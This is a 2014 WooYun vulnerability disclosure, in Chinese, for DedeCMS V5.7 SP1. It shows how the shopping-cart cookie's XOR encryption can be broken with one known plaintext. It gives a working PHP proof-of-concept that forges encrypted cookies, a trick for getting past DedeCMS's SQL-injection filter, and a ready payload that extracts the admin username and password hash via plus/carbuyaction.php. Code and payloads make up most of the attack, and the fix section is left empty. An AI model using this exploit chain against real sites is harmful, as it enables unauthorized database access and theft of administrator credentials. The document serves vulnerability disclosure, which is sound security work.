WooYun-2014-71655:DedeCMS-V5.7-SP1(2014-07-25)sql注入+新绕过思路

漏洞作者: roker

来源:http://www.wooyun.org/bugs/wooyun-2014-071655

简要描述

rt................好紧张。。

详细说明

让我们来看看这个文件

/include/shopcar.class.php

提取关键加解密函数代码

function enCrypt($txt)

    {

        srand((double)microtime() * 1000000);

        $encrypt_key = md5(rand(0, 32000));

        $ctr = 0;

        $tmp = '';

        for($i = 0; $i < strlen($txt); $i++)

        {

            $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;

            $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);

        }

        return base64_encode($this->setKey($tmp));

    }

    //解密接口字符串

    function deCrypt($txt)

    {

        $txt = $this->setKey(base64_decode($txt));

        $tmp = '';

        for ($i = 0; $i < strlen($txt); $i++)

        {

            $tmp .= $txt[$i] ^ $txt[++$i];

        }

        return $tmp;

    }

    //处理加密数据

    function setKey($txt)

    {

        global $cfg_cookie_encode;

        $encrypt_key = md5(strtolower($cfg_cookie_encode));

        $ctr = 0;

        $tmp = '';

        for($i = 0; $i < strlen($txt); $i++)

        {

            $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;

            $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];

        }

        return $tmp;

    }

    //串行化数组

    function enCode($array)

    {

        $arrayenc = array();

        foreach($array as $key => $val)

        {

            $arrayenc[] = $key.'='.urlencode($val);

        }

        return implode('&', $arrayenc);

    }

    //创建加密的_cookie

    function saveCookie($key,$value)

    {

        if(is_array($value))

        {

            $value = $this->enCrypt($this->enCode($value));

        }

        else

        {

            $value = $this->enCrypt($value);

        }

        setcookie($key,$value,time()+36000,'/');

    }

    //获得解密的_cookie

    function getCookie($key)

    {

        if(isset($_COOKIE[$key]) && !empty($_COOKIE[$key]))

        {

            return $this->deCrypt($_COOKIE[$key]);

        }

    }

}

是不是感觉很熟悉?看这里-->http://**.**.**.**/bugs/wooyun-2014-062391

一样的算法,只不过将microtime 替换成了 md5(rand(0, 32000)),按照 海贼牛的方法的话,我们需要暴力 穷举32^36次,这数太大,我不敢算,我们真的需要暴力破解么??

直接来看看 解密函数吧。

function deCrypt($txt)

    {

        $txt = $this->setKey(base64_decode($txt));

        $tmp = '';

        for ($i = 0; $i < strlen($txt); $i++)

        {

            $tmp .= $txt[$i] ^ $txt[++$i];

        }

        return $tmp;

    }

    //处理加密数据

    function setKey($txt)

    {

        global $cfg_cookie_encode;

        $encrypt_key = md5(strtolower($cfg_cookie_encode));

        $ctr = 0;

        $tmp = '';

        for($i = 0; $i < strlen($txt); $i++)

        {

            $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;

            $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];

        }

        return $tmp;

    }

现在 我们假设 密文为 ABCDEF....(base_decode后的) 。通过上述代码 可以发现 解密函数中 参与 运算的是 key的MD5值。我们假定为 K1 k2 k3 k4 k5 k6........k32.

首先带入 setKey函数,

A^K1 ->M1 

B^K2 ->M2 

C^K3 ->M3 

D^K4 ->M4

然后将 M1~6 带入decrypt后的操作。

M2^M1 ->a 

M4^M3 ->b 

M6^M5 ->c

abc 即为 我们的明文

对于异或算法 我们知道 它有以下特性

H^I = J  ->  H^J=I

(H^I)^J=H^I^J

密文A B 与明文 a 所对应的的关系为。

A^K1 = M1  M1^M2 = a   B^K2 = M2

联立得(尼玛像是在做奥数。。) A^K1^B^K2 =a 即 A^B^a = K1^K2,同理可得到 C^D^b = K3^K4 E^F^c=K5^K6

k1~32是 密匙k的32位 md5值,是固定不变的。

那么 得到如下 如下关系: 任何密文的i ,i+1 位 与其所对应的的 明文的 i 位 做异或运算(i为偶数) 结果是一个固定不变的值(Ki^Ki+1)

so,我们只需要一个已知明文的密文就可以 构造任意密文了。

poc如下,

function dede_cracked($Expressly,$Ciphertext,$str,$way){

$Ciphertext = base64_decode($Ciphertext);

if ($way=="descrypt"){

$text2="";

$str=base64_decode($str);

}else{

$text2="a";

}

$j=0;

$s=0;

for($i=0;$i<strlen($str);$i++,$s++){

if($j==32){$j=0;$s=0;}

$tmp=$Ciphertext[$j]^$Ciphertext[$j+1];

$tmp=$tmp^$Expressly[$s];

$tmp=$tmp^$str[$i];

if ($way=="descrypt"){

$text1=$tmp^$str[++$i];

}

else{

$text1=$tmp^$text2;

}

$xxoo =$xxoo.$text2.$text1;

$j=$j+2;

}

if ($way=="descrypt"){

echo $xxoo;}

else{

echo base64_encode($xxoo);}

}

在 plus/carbuyaction.php

foreach($Items as $key=>$val)

                {

                    $val['price'] = str_replace(",","",$val['price']);

                    $dsql->ExecuteNoneQuery("INSERT INTO `#@__shops_products` (`aid`,`oid`,`userid`,`title`,`price`,`buynum`)

                    VALUES ('$val[id]','$OrdersId','$userid','$val[title]','$val[price]','$val[buynum]');");

                }

将解密后的数据带入了数据库。

本以为到这里就结束了,然而,dede自带的防护sql注入的函数做了更新,以前的@,char都不能用了。

想了很久终于想到了办法,

我们可以用双引号来包裹 ' 再用逗号分隔 两个相连的 ''。

看到函数里的这段代码你就知道为什么我要这么做了。。直接看我的下面的sql语句可能会更形象~

if (strpos($clean, '@') !== FALSE  OR strpos($clean,'char(')!== FALSE 

        OR strpos($clean,'$s$$s$')!== FALSE)

首先,注册用户,将一个商品加入购物车,来到plus/car.php页面,此时查看cookie

Shop_De开头的和 DedeUserID就是我们所需要的~

调用poc里的函数

得到 最终playload

dede_cracked("id=108&price=11&units=&buynum=1&title=aa","AWgGMlFrAzNUMAFqWyYBdFV0UmgHNFI3Vm0BMwUwBC4AdQc5CmRVIAcgBWtfNVBzATBVcwApAW8FdlE%2FWWBVaAEnBiJRPwN2VGwBN1s9AWVVZw==","id=',\"'&title=\" or ',','8',(SELECT concat(uname,0x23,pwd) FROM dede_admin LIMIT 1),',','1')#","encrypt");

修改cookie,提交订单

可以看到mysql的执行日志

INSERT INTO `dede_shops_products` (`aid`,`oid`,`userid`,`title`,`price`,`buynum`)

                    VALUES ('',"'','wooyuni','8','" or ',','8',(SELECT concat(uname,0x23,pwd) FROM dede_admin LIMIT 1),',','1')#','0.00','0')

查看商品,ok,数据出来了~

[1.jpg

漏洞证明

修复方案

你们更专业~~